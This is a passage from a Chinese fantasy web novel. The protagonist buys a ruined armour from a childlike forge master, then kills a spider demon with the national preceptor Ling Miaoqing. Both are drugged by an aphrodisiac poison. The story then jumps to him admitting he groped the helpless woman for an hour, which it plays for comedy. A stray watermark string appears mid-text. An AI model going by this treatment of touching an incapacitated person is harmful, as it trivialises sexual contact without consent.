既然梅钱说灵匠殿有盔甲卖,云缺顺路去了一趟。 灵匠殿作为学宫十二殿之一,是一处比较特殊的存在,传授锻造、炼器方面的学问,以打造各种武器盔甲而闻名。 除了武器盔甲,灵匠殿还涉及各类建筑,比如皇宫的宫殿,各大城池的城墙,豪门大户的府宅,形态各异的雕像,一些昂贵的家具,甚至锅碗瓢盆都有所传授。 当然不是普通人家用的锅碗,都是些珍贵材料炼成,大户人家才用得起。 灵匠殿的匠人遍布天下,学成者都可扬名一方,成为受人追捧的能工巧匠,一辈子吃喝不愁。 据说学宫正门惟妙惟肖的儒圣雕像,就是灵匠殿的强者所打造。 天祈学宫范围太大,云缺在前往灵匠殿的途中经过一处小水池,搭着小桥,旁边建着两人高的假山,这种古典的景致在学宫里到处可见。 一个三四岁大,扎着双丫髻的小女娃正坐在水池边打瞌睡,小脑瓜一点一点,晃晃悠悠看起来很危险,容易掉进水里。 云缺觉得奇怪。 仔细看了看,的确是个小娃娃无疑。 学宫里居然有这么大点儿的娃娃? 随后云缺恍然大悟,自语道: “这帮学子真不浪费时间,一边求学一边生娃,等娃儿长大了还能在学宫里免费听课,好算计啊!” 云缺出于好心,走过去拎着脖领子将女娃提起来,放在离水池远些的地方,省得对方掉水里出现意外。 小女娃被惊醒。 一双大眼睛忽闪忽闪,小脸红扑扑的,看起来很是招人喜欢。 云缺决定好事做到底,温和的道: “小妹妹,迷路了吗,你爹娘是什么学殿的学子啊,别怕,哥哥带你回家,只收你二两银子的带路费,找到你爹娘记得让他们拿钱哦。” 小女娃瞪着大大的眼睛,张着小嘴儿,一时都听愣了。 她此刻心里只有一个念头。 眼前这家伙,肯定穷疯了…… “我家在灵匠殿!”小女娃声音清脆的道。 “你是灵匠殿的啊,那正好,我要去买点东西,顺路,跟我走吧。”云缺拉着小女娃走进灵匠殿区域。 “你要买什么?”小女娃面无表情的道。 “买件护身盔甲,你知道什么地方有卖的吗。”云缺道。 “巧了,我家就卖护身盔甲。”小女娃道。 “是吗,到时候让你爹娘给我打个折扣,哥哥这么好心送你回家,你说是吧。”云缺道。 “没问题,肯定给你打个大大的折扣。”小女娃表情古怪的道。 灵匠殿的构造十分奇特,一个宽敞的广场四周,修建着一圈上百个石屋,大小不一,里面大多燃着火焰,铁锤落下的响动络绎不绝,叮叮当当,很是嘈杂。 在小女娃的指认下,云缺走进其中一个最大的石屋。 这里灯火通明,如同一座石头宫殿,四周环绕着十余个巨大的火炉,不少学子正在锻造东西,闷头打造。 小女娃走进大殿后,周围正锻造的学子们纷纷停下手里的动作,朝着小女娃躬身施礼,口称先生。 云缺正四处观看呢,听到先生俩字,豁然一愣。 随后目光茫然的缓缓望向小女娃,心里蹦出了一个名字。 孔气气! 灵匠殿先生!彡彡訁凊 学宫十二殿的先生,名讳都在册子里,任何学子都可观看,云缺自然早知道各殿先生的大名。 云缺只知道灵匠殿先生孔气气是个女人,可万万没想到,居然是个女娃! 小女娃甩开云缺的手,坐在一张最大的石头椅子上,居高临下冷漠道: “我到家了,你想买盔甲是吧,正好我这有一套最适合你!” 说罢从一个丢弃无用之物的箱子里,拿出一套破破烂烂的盔甲。 这盔甲已经不能叫甲了,应该叫网,大窟窿套着小窟窿,所有布料加起来估计连二两都没有。 孔气气老神在在的翘着二郎腿,晃着小脚丫道: “刚才说好了,给你打个大大的折扣,收你二百两。” 云缺暗呼倒霉。 也不知谁手艺这么好,能锻造出残次到这等程度的玩意。 “学生刚想起来,我不需要盔甲,这就告辞了。” 云缺毕恭毕敬的道,说完转身就跑。 结果没出两步,轰鸣声大起。 石屋门口落下一层厚重的石门,将通道封死。 孔气气抱着肩膀,老气横秋的道: “别小看这套金丝甲,以上品材料岩金锻造而成,六阶妖兽也扯不断,只是炼制的过程出了点小意外,变成瑕疵品,我看你很需要这套盔甲,刚才的带路费扣除,你再拿一百九十八两银子,盔甲就是你的了,不买的话,留在灵匠殿劳作一年方可离开。” 云缺面无表情的干笑了两声。 扯不断有什么用,关键它根本防不住啊! 云缺还能说什么,破财消灾呗。 谁让自己的一片好心,被人家当做驴肝肺了呢。 交了银子,这才走出灵匠殿,云缺没心情再找房石询问甲胄,直接返回西楼睡觉。 出师不利。 还没去妖山呢,先赔了二百两银子。 灵匠殿内,小女娃形态的先生孔气气仰天大笑,掂量着手里的银子得意道: “敢跟我要二两银子带路费,不知天高地厚的臭小子!天底下没人能占我孔气气的便宜!” 旁边的一众灵匠殿学子大多张着嘴,一副欲言又止的无奈神态,最后齐齐叹息。 这位先生哪都好,就是修炼的功法副作用太大,不仅外表会变成娃娃,好像连心眼也变少了。 残破的金丝甲的确没用,但那是珍贵的岩金炼制,别看破成那模样,拿出去当做材料卖也至少几千两银子呢,这下好,不到二百两,让先生给卖了。 简直血亏…… 午夜,月明之际。 缥缈楼内起伏着一种玄奥中透着莫名诡异的气息。 盘坐于蒲团的凌妙清秀眉紧锁,精致无瑕的俏脸上起伏着一种奇怪的潮红。 一身道袍犹如狂风中的柳叶,飘摆不定。 很快,凌妙清的脸上浮现出一种痛苦的神色,紧闭的双眼豁然睁开。 这位女子国师取出一个瓷瓶,将三粒丹药吞服。 “玉玺尚在皇城,大晋国运却衰退到如此地步,已经压制不住业火了……” 凌妙清大口呼吸着空气,仿佛刚才经历了一场恶战,良久才好转一些。 “心魔大劫实在可怕,需要耗费九成修为才勉强压制,再继续下去,境界恐怕要跌落。” 凌妙清紧蹙秀眉,神态凝重的自语道:“幸好多年前做了一份准备,明日得走一趟妖山。” 同一时刻。 司天监高耸的观星台上,一袭青衣盘坐于满天星辰之下。 一张古老的棋盘,静静的悬浮于吕青面前。 棋盘上,是一局残棋。 吕青的嘴角噙着淡淡笑意,缓缓探出手,拾起一枚棋子,将其往前走了一步。 落子无声。 第127章 好长的腿 云缺的确在赶路。 别的妖兽他没兴趣,想要稳得第一,必须猎杀白玉蜘蛛才行。 云缺有自知之明。 以他一个人的战力,肯定比不过那群对养颜丹红了眼的师姐们。 一路疾行,云缺直奔山脉深处的一座山峰。 妖山有地图,标注着白玉蜘蛛的栖息地就在最高的山峰之内。 行进间,云缺大为感慨。 难怪叫妖山,丛林里的妖兽是真多,几乎百余丈就能遇到一头。 为了节省时间,云缺遇到妖兽直接冲过去,身后聚集起一大片各型各样的妖兽猛追不放,足有数百头。 抵达最高的山峰后,身后追赶的妖物纷纷停步,好像在惧怕着什么,不敢再追。 歇口气,云缺打量一番眼前的山峰。 十分陡峭,高有百丈,如一柄利刃般直插天穹。 云缺绕着山峰走了一圈,没看到有洞窟之类的存在,于是开始攀爬,在半山腰一片悬崖处发现一处山体裂痕。 裂痕是横着的,很扁,需要弯着腰才能进去,在山下看不到。 好似一张扁平的大嘴,其内昏暗无光。 鼻翼动了动,云缺点头道: “很重的妖气,就是这里了。” 随后弯腰钻了进去。 越往里走,四周越发狭窄,最后只能侧着身子行进。 幸好云缺不胖,换成屠苏满申那种壮汉,钻都钻不进去。 挤过了狭窄区域后,空间逐渐开阔起来。 头顶时而有一束阳光落下,在昏暗的地底形成一道道细小的光柱,虽然能照亮点四周,却显得更加阴森。 光柱从山顶的开裂处而来。 这座山峰不知为何会有许多小洞。 云缺仔细看了看。 头顶的那些小洞大致儿臂粗细,绝非剑洞,类似长枪贯穿后形成。 云缺知道那些小洞的由来。 不是长枪所为,而是蜘蛛妖物的鳌肢扎出来的! 云缺仰着头,暗自惊讶道: “好长的腿啊。” 能扎穿山腹的长度,至少要十丈开外! 由此判断,白玉蜘蛛的鳌肢,一只就有十丈长! 云缺谨慎起来。 妖力运转,左眼铺上一层血色。 又将炼尸小蛇取出,控制其在前面缓慢爬行,用来探路。 如果惊动了白玉蜘蛛,小蛇可以作为诱饵,吸引住对方的注意力。 随着行进,周围变得愈发昏暗,头顶的光柱逐渐稀少,最后彻底消失。 云缺脚步很轻,终于抵达了山体最深之处。 有血瞳加持,四周的黑暗对云缺来说如同白昼,看得一清二楚。 这里是一片宽敞的山腹空间,曾经应该是天然的石窟,后来被蜘蛛妖兽重新挖掘过,当做巢穴。 周围石壁上挂满了蚕茧般的东西,里面都是妖兽,被蛛网层层裹住,是白玉蜘蛛捕猎的食物。 其中有的还活着,时而晃动一下,发出渗人的低沉哀嚎。 地面凹凸不平,遍布着大小不一的石笋。 云缺仔细的搜索着,很快发现了一个颇为奇特的东西。 在洞窟中心,有一座很大的石墩,其上摆放着一块水缸大小的白色玉石,晶莹剔透,润泽无瑕,犹如一块天然的极品玉矿,一看便知价值连城。 普通人看到这块硕大的玉石,肯定会生出贪念,将其搬走据为己有。 可一旦接近,便会成为那块‘玉石’的食物。 因为玉石上呈现出一些其他的东西。 合拢的一对螯牙,一双与白玉同色的眼球,还有那玉石上极为不起眼的一层绒毛,与连接在八个不同方位的漆黑螯肢。 云缺一眼看出玉石的真相。 白玉蜘蛛的本体! 这头蛛妖的本体其实并不算大,但八条螯肢却极长,无声无息的弯曲在四周,好似八根石柱,在黑暗里很难发现。 看到白玉蜘蛛的全貌后,云缺皱了皱眉,觉得有点棘手。 无需动手,单凭外表即可衡量出一头妖物真正的战力。 绝非体型越大越厉害,反而是越小的妖兽,越难缠。 白玉蜘蛛的本体类似水缸大小,在外面那些妖兽当中算得上最为小巧,但其爆发出的力量,绝对非同小可,否则也不会被冠以妖山之王的称呼。 看来得动用妖刀了,云缺暗暗沉吟着,继续观察地势。 这里是战场,是蜘蛛的老巢,云缺必须将地形了解清楚,做到万无一失才能动手。 正观察的工夫,在云缺藏身处的对面,空间忽然出现波动,紧接着现出水纹般的一层暗淡光幕。 嗯? 云缺惊疑起来,以为自己被白玉蜘蛛发现,随之做好了战斗准备。 但很快云缺发现不对。 白玉蜘蛛并没动。 好像毫无察觉。 很快,那层光幕中竟走出一道女子的身影,一身道袍,长发束在脑后,装扮简简单单,可容貌美得惊人。 一双剪水之眸清澈如溪,精致的五官浑然天成,美如玉雕,道袍朴素却难以掩盖那曼妙身姿,女子缓步而行,从光幕中走出,犹如从画卷中走出来的绝色仙子。 看到女人的那一刻,云缺错愕不已。 这人他认得! 一次大朝会结束散朝后,此人姗姗来迟,非但没人怪罪,文武群臣都对其毕恭毕敬,连皇帝殷子受都对其客客气气,以礼相待。 “国师!” 云缺在心里嘀咕道:“她怎么来妖山了?” 云缺实在想不通,国师凌妙清为何会出现在妖山的山腹之内。 而且看样子,好像朝着白玉蜘蛛而来。 凌妙清的出现,并未惊动白玉蜘蛛,仿佛那道玲珑有致的身姿只是个虚无的幻影。 凌妙清缓步走到白玉蜘蛛近前,抬起左手,纤细的五指上起伏着玄奥的气息波动。 随着凌妙清的动作,白玉蜘蛛竟缓缓漂浮起来,现出了石墩上的两颗白色玉石。 那玉石如拳头大小,色泽温润,像极了两块美玉。 但云缺知道那不是美玉,而是蜘蛛卵! 原来国师此行,是为了此物而来。 云缺猜不到国师取走蛛卵有何种,反正只要不抢走白玉蜘蛛,与自己就无关。 云缺躲在暗处,等着国师离开在动手。 凌妙清左手悬着,施展法力托起妖兽,右手抓起两枚蜘蛛卵,整个动作轻灵随意,仿佛那六阶巅峰妖兽在其面前不过是空气而已。 拿起蛛卵后,凌妙清满意的点了点头。 刚想放下白玉蜘蛛,忽然她的脸上升腾起一缕不正常的晕红,身上的气息也瞬间混乱起来。 意外的出现,终于惊醒了白玉蜘蛛。 一双硕大的眼珠在本体上睁开,妖气豁然大起! 当白玉蜘蛛发现蛛卵被盗,顿时狂暴起来,张开獠牙,凶猛的咬向凌妙清。 凌妙清向后飞退,同时单手掐动法诀,施展出法术,将白玉蜘蛛冻在原地。 云缺在暗处只管看热闹。 反正与自己无关,你国师来偷蛛卵,结果被发现,大蜘蛛肯定暴怒异常,免不得一场恶斗。 云缺打算坐山观虎斗,鹬蚌相争,最后渔翁得利。 只要国师将白玉蜘蛛重创,然后带着蛛卵离开,那自己就省事了,不用动手白得了妖山第一名。 反正国师不是学宫的人,她自然不会去学宫拆穿自己。 正想着美事呢,云缺渐渐发现不对劲了。 国师的冰封法术,很快被白玉蜘蛛冲破,随后蛛妖喷吐大片蛛丝结成一片硕大的蛛网,将凌妙清裹住。 凌妙清以法术反击,与白玉蜘蛛斗得不相上下。 不对! 云缺越看越疑惑。 国师可是大晋三柱国之一! 修为再低,也不可能低于五品,否则苏鸿山和白厌都能成为柱国了。 可凌妙清此刻展现出的实力,与六阶巅峰妖兽白玉蜘蛛相当,类似于六品巅峰,很难达到五品程度。 这是什么原因? 云缺疑惑不解。 难道国师是个唬人的,诓骗了皇帝? 转念一想不大可能。 殷子受进皇城的那一晚,吕青就在司天监,如果殷子受身边没有真正的强者,哪能如此轻易登上皇位。 牧青瑶曾经猜测,当晚国师与吕青交过手,至少两人见过面。 如果是这种程度的修为,根本不可能让吕青妥协。 很快云缺得到一个猜测。 国师绝对是修行强者,但今天不知为何施展不出全部修为。 从凌妙清脸上并不正常的晕红来看,云缺觉得这位国师的身体肯定出了问题,有可能走火入魔,或者中了什么奇毒。 由此推断下去,国师来盗取蜘蛛卵,很有可能用来疗伤! 云缺这边正猜测着国师的状态,白玉蜘蛛变得愈发暴躁起来,八条螯肢中的四条将本体支撑起来,而另外四条则疯狂攻击。 十余丈长短的螯肢,挥动起来霍霍作响,一击即可将山岩崩碎,力道惊人。 随着螯肢的疯狂扫动,云缺藏身的地方没能幸免,在轰鸣中碎裂开来。 这下云缺无处可藏了,他刚想退回通道里,结果被白玉蜘蛛发现,一片蛛网袭来,将出口彻底封死。 这还不算,白玉蜘蛛将云缺也当做了盗贼,一条螯肢豁然砸来。 云缺没办法之下,单臂一震,妖刀浮现而出。 一刀迎着螯肢斩去。 轰鸣大作! 云缺的力量已经够可怕了,结果白玉蜘蛛的巨力更加恐怖,一击之下,连着妖刀与云缺全给砸进了岩石里。 要不是云缺突破七品以妖魂融骨,这一下非得重伤不可。 从岩石坑里跳出来之后,云缺狼狈不堪,一身是土,懊恼之下他开始猛攻蛛妖。 地底洞窟之内,两人,一妖,陷入了殊死搏杀。 第128章 先生诚不欺我 地窟内,以白玉蜘蛛所在的石墩为中心,云缺与凌妙清各自在不同的位置恶战。 凌妙清面对着蛛妖本体大部分的攻势,云缺则与一只螯肢斗得难分上下。 云缺又不傻,自然只展现出七品实力。 能抗住六阶巅峰妖兽的一只螯肢已经不错了,杀敌主力当然得留给国师才行。 凌妙清看到云缺后,只扫了一眼便移开目光,专心施展法术应对蛛妖。 这位国师脸上的晕红愈发严重,本体气息也越来越混乱,随之而来的,是法术的威能逐渐变小。 自从蜘蛛卵被夺,白玉蜘蛛一直处于狂暴状态,攻势猛烈,喷吐的蛛网将整个地窟全部封死。 而且蛛网越来越多,将有限的空间快速缩小。 等到石窟内尽数被蛛丝填满,这里将成为真正的死地! 云缺发现局面不利,再不拿出战力,自己要跟着倒霉。 没办法,云缺动用了妖力。 妖刀瞬间铺上血色! 云缺身形掠动,避开螯肢猛击,一跃而上踩着螯肢狂奔,几步抵达关节处,一刀斩落。 呼!! 刀风呼啸! 长刀划出一片血光斩下。 云缺以斩妖多年的经验,判断出白玉蜘蛛螯肢的弱点,就在弯曲的关节。 当长刀即将斩中之际,白玉蜘蛛的螯肢上突然浮现出一层白线。 那是蛛丝,瞬间将关节处裹住。 云缺这一刀仅仅斩断了蛛丝,螯肢丝毫无损。 于此同时,一股蛛丝闪电般袭来。 云缺脚下一震,以极快的速度跃起避开,跳落地面。 棘手! 云缺暗暗惊讶。 六阶巅峰妖兽果然难缠,尤其这种蜘蛛类的妖物,狡猾不说,几乎没有弱点。 刚才那一刀,几乎等同于六品武者全力出手,居然都没伤到妖兽。 若是正常的六品武夫,面对白玉蜘蛛绝对不是对手! 对面的国师变得更加虚弱,刚才还能与白玉蜘蛛斗得不相上下,此刻只能勉强防御,节节倒退,看样子用不了多久就要撑不住了。 云缺目光一沉。 等国师一旦落败,那么白玉蜘蛛的本体肯定要全力攻击自己! 想到这里,云缺不在犹豫,决定动用刀法。 其实云缺还有个办法,只要放出妖刀里的妖爪,六阶的白玉蜘蛛未必扛得住。 但那样一来,自己的底牌会被国师得知。 云缺现在无法断定国师究竟自身出了意外,还是故意伪装成如此模样。 在凌妙清那等修行强者面前,自己的隐秘还是别展现为好,没准会惹来麻烦。 云缺抬起左手横在眉心,摆出了起手式。 随后一步踏出,再次跃上白玉蜘蛛的螯肢。 急掠间,云缺的气息变了。 如山的煞气豁然暴起! 妖刀之上的血色浓如墨染! 几步到了螯肢关节处,云缺突然旋身一转,以身体带动刀势,斩出了爆裂的一击。 “二断,精怪门!” 嗡!!! 这一刀犹如划出一轮血色的满月,汹涌的煞气与刀身完美融合,劈斩出一记蕴含着无尽煞气的狂斩。 传闻深山有精怪,有万般变化,可遁土、可隐石、可栖树、可融水,行踪飘忽,无处不在,极难斩杀。 断刀式的第二式,便是专门为深山精怪所创。 二断精怪门,断绝精怪所有可遁走之门,让其无路可遁,无处可逃! 咔嚓!!! 一刀之下,裹着蛛丝的螯肢关节处被硬生生劈斩开来。 吱吱吱!!! 白玉蜘蛛发出尖锐嘶吼,吃疼不已。 总共八条螯肢,断了一条虽然并不致命,但伤势可不轻。 白玉蜘蛛暴怒之下,分出两条螯肢猛攻云缺,想要扎死这个胆敢砍断它一条螯肢的人类。 云缺这边的重击,令国师压力骤减。 云缺本以为凌妙清会积攒力量,与自己配合斩杀蛛妖,结果没料到的局面随之发生。 凌妙清缓了一口气,抬手打出三张灵符。 分别是风、雷、火三属。 三张灵符等阶极高,炸起三种不同的威能。 狂风暴起,席卷着雷光电影,形成一圈龙卷,其内火光冲天,看起来威能惊人。 白玉蜘蛛的本体被龙卷风困住,一时挣脱不出,随后凌妙清转身朝着虚空连连点动,以双指画出一幅玄奥的图案,紧接着光晕浮现,虚空中开启了一面光门。 看到光门出现,云缺立刻知道国师的打算。 人家要逃! 云缺眼皮一跳。 打到这种地步,蛛妖完全狂暴起来,自己刚刚重创了蛛妖,结果凌妙清要跑。 云缺倍感无奈。 白玉蜘蛛的凶悍超出了他的预料,本以为有个帮手,自己省点力气,到头来还是得自己对付妖兽。 没办法,云缺只能做好准备,独战蛛妖。 不知是凌妙清法力不足,还是白玉蜘蛛将蛛网铺满洞窟的缘由,那道光门仅仅存在了瞬间就支离破碎。 凌妙清一只脚刚刚踏进去,结果踉跄了一步险些摔倒。 没逃出去! 云缺这时终于能确定,国师并非在隐瞒实力,而是虚弱不堪。 否则怎能连逃走都做不到。 白玉蜘蛛很快破开龙卷,疯狂咆哮。 凌妙清刚才动用的传送法术,几乎耗尽法力,一张精致的俏脸时而苍白如纸时而晕红如霞。 倒霉的是,她刚刚迈进光门,没在意地面的一个裂缝,本以为自己能一步传送而去,结果光门破碎,凌妙清一脚陷进地面裂缝当中,左脚被卡住。 白玉蜘蛛发现敌人的破绽,立刻猛攻而来,喷出蛛丝,将凌妙清陷住的左脚牢牢缠在地面。 凌妙清只能勉力支撑,不断打出灵符拖延。 她已经耗尽法力,用本身力量无法挣脱蛛丝,越急着脱困,左脚被缠得越牢,一时间险象环生。 若是武夫,以蛮力就机会挣脱出来,换成道门修士可没这份能耐。 云缺在对面看热闹。 让你跑,这下跑不掉了吧。 凌妙清一双美目豁然望来,轻喝道: “帮忙!” 云缺本想让国师多扔点灵符,消耗些蛛妖的力气,一想对方是国师,官比自己大得多,要是不去帮忙以后会被穿小鞋。 云缺只好几步跃了过去,以七品武夫之力,撕扯着缠住凌妙清的蛛丝。 白玉蜘蛛就在面前,云缺不敢耽搁时间,很快将蛛丝撑开。 可凌妙清那只脚不仅被蛛丝缠住,还卡在地面缝隙,一时间抽不出来。 云缺看得着急,一把握住对方的脚踝,帮忙往外拽。 凌妙清感受到脚踝被握住,脸上顿时出现晕红之色,一声嘤咛,身体不受控制的颤抖起来。 “你做什么!”凌妙清强忍着不适喝道。 “帮你啊。” 云缺还觉得奇怪呢,我在帮忙没看出来么? 凌妙清终于脱困,她连连后退,靠在石壁上大口喘气,身体软若无骨,连站立都显得艰难。 云缺更加不解。 刚才还能扔灵符,怎么现在成了这副模样? 不就是抓了你一下脚踝么,不至于吧。 洞窟内尖锐的嘶吼声大作,白玉蜘蛛见猎物脱困,再次扑杀而来。 凌妙清回头看了眼,发现石壁上有个豁口,强撑着身体逃了进去。 云缺这个气呀。 你会跑,我也会跑! 云缺也跟着钻进豁口。 豁口能容一人同行,数丈长短,里面是一个天然的石洞,没有其他入口。 白玉蜘蛛的螯肢硕大,一时间冲不进来,在洞口外连连嘶吼。 暂时安全。 云缺看了看四周,道: “躲不了太久,这里如果被蜘蛛丝封住,我们只能等死,国师可有办法杀掉蛛妖。” 凌妙清盘坐在石洞内,深深的呼吸了几口空气,脸色稍微好转,沉声道: “白玉蜘蛛的弱点在双眼之间,你想办法将它困住,我只剩一剑之力,能否成功,只有一次机会。” “那么大只妖兽,我怎么困得住啊。”云缺为难道。 凌妙清不再言语,闭目休息。 见人家不说话,云缺只好自己想办法。 困住白玉蜘蛛的办法还没想到,蛛妖已经想到办法冲进来吃人了。 白玉蜘蛛将所有螯肢收拢并在一起,类似一条长尾,本体则挤进了石壁豁口。 蛛妖的螯肢的确碍事,伸展开来数十丈,但本体并不大,正好能通过豁口。 蛛妖开合着两只螯牙,犹如硕大的剪刀般爬来。 云缺急中生智,将身上的破烂金丝甲取下,照着蛛妖套去。 正好将白玉蜘蛛的脑袋缠住,两只螯牙陷入甲胄上的孔洞,如何挣扎也张不开嘴了。 云缺大喜。 灵匠殿先生果然诚不欺我! 这破烂金丝甲,六阶妖兽当真扯不断! 白玉蜘蛛见状想要退出去,云缺哪能放过这次良机,以七品武夫之力拽住甲胄另一端。 “国师动手!” 云缺大吼道。 凌妙清豁然睁眼,单手点出。 一柄流转着水纹的长剑随之出现,如一道流星般一闪而过,没入白玉蜘蛛双眼的中心位置。 剑光过后,蛛妖的脑袋出现个通透的剑洞! 白玉蜘蛛吱吱怪叫,疯狂挣扎,绿色的怪血洒满四周,很快跌倒在地,再也不动了。 云缺松了口气。 对国师的飞剑之力暗暗震惊。 能一剑击杀六阶巅峰妖兽的武器,不用问,那把长剑绝对是法宝级别,远非法器可比! 蛛妖一死,危机随之接触。 凌妙清耗尽了所有力气,虚弱不堪,气息混乱。 云缺也累得不轻,坐在一旁休息。 山洞内安静下来。 只剩下蛛妖血迹滴落的嘀嗒轻响。 蛛妖之血是墨绿色,随着流淌,渐渐浮现出一片暗淡的绿色雾气,很快填满两人所在的山洞。 云缺察觉到雾气后立刻屏住气息,提醒道: “是蛛毒!” 凌妙清根本不在乎,当毒雾飘到附近后,她身上随之浮现出一层玄奥的气息将其完全隔绝。 “区区六阶之毒,雕虫小技。” 凌妙清正常呼吸着,语气淡然,有着一种强者的独特孤傲。 云缺见状不甘弱势,也开口正常呼吸道: “的确不咋地,小毒而已,连点味道都没有。” 说着故意深呼吸两下。 因为察觉到怀里的香囊完全能趋避毒雾,云缺才如此放心。 七叔给的宝贝,确实好用。 凌妙清冷漠的瞥了眼云缺,闭上眼不再开口。 云缺恢复稍许后,打算问问国师什么时候走,他好把蜘蛛尸体带出去。 只要白玉蜘蛛的尸体到手,这次妖山试炼自己就是名副其实的第一名。 正寻思着如何询问才能不透露自己的目的,云缺忽然发现眼前的绿色毒雾里居然夹杂着一丝丝奇怪的红色雾气。 驱毒香囊能让绿色毒雾无法近身,却挡不住红色的怪雾,一张嘴就吸进去一丝。 再看凌妙清也一样,鼻端正吸进去一丝奇怪的红雾。 “怎么会有红雾?”云缺惊讶道。 凌妙清此刻感受到了什么,猛然睁眼。 当她看到夹杂在绿雾里的红色雾气后,沉稳的神色瞬间变得慌乱,惊呼道: “淫蛛情毒!糟了!” 第129章 摸了一个时辰 情毒,白玉蜘蛛在产卵之前,用来吸引公蜘蛛的特殊气息。 这种毒气十分罕见,平常并不存在,需要产卵的时候才会在蛛妖身上临时生成。 只要不是产卵之际,即便白玉蜘蛛死掉也不会外泄情毒,因为根本就没有。 而妖山里的这只白玉蜘蛛,多年前已经产卵,并始终在孵化。 正常情况下,蜘蛛卵没有孵化之前,白玉蜘蛛绝不会再次产卵,也就不会有情毒生成。 凌妙清早知道妖山里的白玉蜘蛛已经产卵,她刚刚拿到两枚蜘蛛卵,料定蛛妖绝不会有情毒存在,所以根本没有防备。 结果本该不存在的奇毒,居然在此刻出现! 这种毒气,其实很难归类为毒物,因为没有伤人的效果,所以绝大多数的手段都防不住。 无论以本体气息隔绝,还是驱毒的香囊,都无效。 情毒一旦被吸入,那么后果只有一个。 能让人陷入发晴状态,无法自拔。 当凌妙清感知到自己中了情毒,犹如遭遇灭顶之灾,一时间震惊得愣在原地,脸上布满惊恐。 云缺没听过这种情毒,但从名字上大致猜到了用处。 来不及多想,云缺只觉得腹中燃起一团烈火,烧得他口干舌燥,连着神智都模糊起来。 如此感觉,云缺从未体会过,立刻运转周身气机抵御。 不动用气机还好, 气机一旦运转,毒力发作得更快,云缺的整个身体仿佛掉进了火炉,气血沸腾! 对面的凌妙清更加不堪,额头遍布细汗,呼吸急促,一双剪水之眸变得朦朦胧胧,灵气尽失。 狭窄的山洞内,如同有干柴遭遇了烈火,红绿相间的毒雾中,两道身影缓慢的靠近,最终纠缠在一起。 云缺的眼前已经变得漆黑。 犹如置身于黑暗当中,仅剩的神智快速遁入识海空间。 元神在识海中猛然睁眼。 云缺终于恢复清明。 但失去了对身体的控制,无法感知到肉身的存在,就像被隔绝了神魂与本体。 “白玉蜘蛛居然还有情毒!这下麻烦了,孤男寡女,容易出事啊。” 云缺察觉到情况不妙。 国师肯定身体有问题,否则不该如此轻易中招,如果自己的本体不受控制,占有了国师的身子,等清醒过来,对方还不得找自己拼命! 正思索对策之际,妖魂化作女子的身影出现在面前。 “天赐良机!哈哈!” 妖魂笑得肆意而癫狂,道:“你运气真不错啊弟弟,居然能遇到这等好事!等你夺了那女人的元阴,我再吞了她的元神!我们都能变成更强!哈哈哈!简直是飞来横财!” 云缺冷眼望着对方,漠然道: “消了念头吧,只要我没死,你别想再吃人。” 妖魂骤然收起笑声,冷冷道: “我吞了她,实力能暴增一倍以上!到时候你会有更强的助力,那女人修炼了上百年,她的元阴对你的武夫之躯也有极大好处,只要夺到手,便类似于一份内力,始终存在于你身上,将其炼化吸收,可增强你的修为!” 云缺面带寒意,重复着之前的冷语: “除非我死,否则,你别想吃人!这是我的底线!” 妖魂绝美的俏脸突然狰狞起来,怒道: “愚蠢!你苦苦修炼为了什么,难道你不想变得强大?你不想尽快查清当年妖都之战的真相了吗!凭你现在这种修为,妖都外面遗留的妖兽都能将你轻易吞杀!” 云缺淡然一笑,道:“我自己的路,我会自己走,用不着你关心。” “信不信我现在吞噬你!”妖魂从女人的形态转化为血色狸妖,獠牙毕露。 第130章 连毛带皮一起吃 凌妙清此刻又羞又恼,怒意大起。 她是堂堂三品化神境强者,修炼百余年,孑然一身,纯洁如玉,纵然有业火大劫,她依然苦守肉身,宁可最后被大劫焚成灰烬,也不可能去找个男人来破劫。 这是凌妙清的坚持,亦是她修行多年的信念。 可今天,多年的坚持与信念差点被个毛头小子毁掉。 凌妙清的身体,何曾被外人碰过半个指头,却被云缺看了个遍不说,还肆无忌惮的摸了个够。 本就耗费全部修为才能勉强压制的业火,刚才数次险些爆发。 想起被陌生男人触碰身体时的那种异样,凌妙清心头的杀意越来越浓烈。 国师的杀气,云缺感知得一清二楚。 对付白玉蜘蛛问题不大,可对付一位三品道门强者,云缺一点机会都没有。 于是云缺不再装傻充愣,昂首直言道: “没错,我是摸了!但我身中奇毒身不由己,只动手,没动枪,我已经竭尽全力了,若国师有所不满,大不了杀我泄愤,我死之后,会去找道祖他老人家评评理,问问道祖,道门修士是不是都是些白眼狼,只会恩将仇报,以怨报德!” 云缺说得气势昂然,理直气壮,丝毫没有占了人家一个时辰便宜的内疚感。 这番话看似随口一说,其实云缺动了很深的心机。 不管自己刚才做了什么,只要凌妙清元阴尚在,那自己这边就有理! 道门修士,十分注重心境,追求念头通达,若凌妙清当真杀掉自己,等同于忘恩负义,这件事必定让其心境出现裂痕,影响之后的修为,毕竟凌妙清刚才毫无反抗能力,说成被自己所救也不为过。 果然,凌妙清眼中冷意不减,但水纹般的法宝长剑却没在往前半寸,始终停留在云缺的脖子下面。 过了半晌,长剑凭空消失。 凌妙清冷漠的盯着云缺良久,寒声道: “这次作罢,饶你一命,胆敢说出今天之事,你会死无全尸。” 凌妙清说完,以法力开启一道流光之门。 “下官肯定守口如瓶,不过国师别忘了,今天我算救了你一次。”云缺道。 有错咱认,但该有的功劳不能不提。 凌妙清猛然回头,一张俏脸上遍布怒容,道: “好,我欠你一条命!下次我要杀你的时候,你可以用这条命来抵债!” 说罢凌妙清下压左掌,将脚下那条炼尸小蛇直接压成了齑粉,随后这位国师一步踏入光门,消失了踪迹。 云缺终于松了一口气。 真正的强者,实在难以相处,尤其是强大的女人,更不好说话。 随后云缺的表情变得古怪起来,自言自语道: “账不对呀,你要杀我的时候才能用来抵债,这是什么糊涂账?不愧是国师,真会算计。” 云缺决定以后离着国师远远的,最好永远不见。 不过刚才的手感,是真好啊…… 云缺开始打扫战场。 看了看碎成渣的炼尸小蛇,可惜了,好好的小蛇成了国师泄愤的工具。 白玉蜘蛛已经死透,云缺将缠在螯牙上的金丝甲弄了下来。 原本全是洞的破烂甲,这次坏得更严重,几乎被撕裂,只能当材料卖给房石了。 拔掉仅有的两颗螯牙,再把白玉蜘蛛剩下的几条螯肢切断,云缺将破烂金丝甲做成个网兜,带着蛛妖本体离开山腹。 此刻即将黄昏。 远处时而能看到滚滚的火光烟尘,那是其他学子与妖兽搏杀所致。 云缺心情大好。 别人还在比赛,自己已经夺魁! 回去的路上,云缺闲庭信步,走得轻松自在。 这种感觉,好比考秀才。 第131章 妖山血案 